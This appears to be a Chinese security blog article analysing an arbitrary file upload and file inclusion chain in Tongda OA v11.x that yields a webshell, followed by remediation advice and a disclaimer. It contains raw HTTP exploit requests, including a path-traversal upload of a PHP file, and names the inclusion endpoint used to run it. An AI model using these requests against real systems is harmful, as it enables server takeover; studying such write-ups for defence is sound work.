插件窝 干货文章 通达OA前台任意文件上传漏洞及文件包含漏洞导致getshell的示例分析

通达OA前台任意文件上传漏洞及文件包含漏洞导致getshell的示例分析

文件 上传 漏洞 包含 867    来源:    2025-04-21

通达OA前台任意文件上传漏洞及文件包含漏洞分析

漏洞概述

通达OA系统中存在前台任意文件上传漏洞结合文件包含漏洞,可导致攻击者获取服务器权限(GetShell)。这类漏洞通常由于未对用户上传的文件进行充分验证,以及存在不安全的文件包含机制。

漏洞原理分析

1. 任意文件上传漏洞

漏洞通常出现在以下场景: - 上传功能未验证文件类型或验证可绕过 - 上传路径可预测或可控 - 上传后的文件名未随机化

2. 文件包含漏洞

漏洞通常出现在: - 使用用户可控参数直接包含文件 - 未对包含的文件路径进行限制 - 包含功能未做安全校验

漏洞复现示例

环境准备

  • 通达OA v11.x (存在漏洞版本)
  • 攻击机(Kali Linux)

攻击步骤

  1. 发现上传点

    • 查找系统中的文件上传功能,如:/general/index/UploadFile.php
  2. 绕过上传限制

    POST /general/index/UploadFile.php?action=upload&filetype=nmsl&repkid=/.<>./.<>./.<>./ HTTP/1.1
    Host: target.com
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
    
    ------WebKitFormBoundaryABC123
    Content-Disposition: form-data; name="FILE1"; filename="test.php"
    Content-Type: image/jpeg
    
    <?php phpinfo(); ?>
    ------WebKitFormBoundaryABC123--
    
  3. 利用文件包含执行上传的恶意文件

    GET /general/index/../attachment/nmsl/xxx/xxx/test.php HTTP/1.1
    Host: target.com
    
  4. 获取WebShell

    • 上传包含WebShell代码的PHP文件
    • 通过文件包含或直接访问上传的WebShell

漏洞修复建议

  1. 文件上传修复

    • 严格验证文件类型(白名单机制)
    • 重命名上传文件(使用随机名称)
    • 限制上传目录的执行权限
    • 设置上传目录不可访问
  2. 文件包含修复

    • 避免动态包含用户可控参数
    • 如需动态包含,应严格过滤输入
    • 使用白名单限制可包含的文件
  3. 其他安全措施

    • 及时更新到官方最新版本
    • 部署WAF防护
    • 限制服务器目录权限

实际案例

某次渗透测试中发现通达OA存在以下漏洞链: 1. 通过/general/index/UploadFile.php上传WebShell 2. 利用/ispirit/interface/gateway.php文件包含漏洞包含上传的WebShell 3. 成功获取服务器权限

免责声明

本文仅用于安全研究和技术交流目的,未经授权对任何系统进行测试或攻击都是非法的。请遵守相关法律法规,仅在获得明确授权的情况下进行安全测试。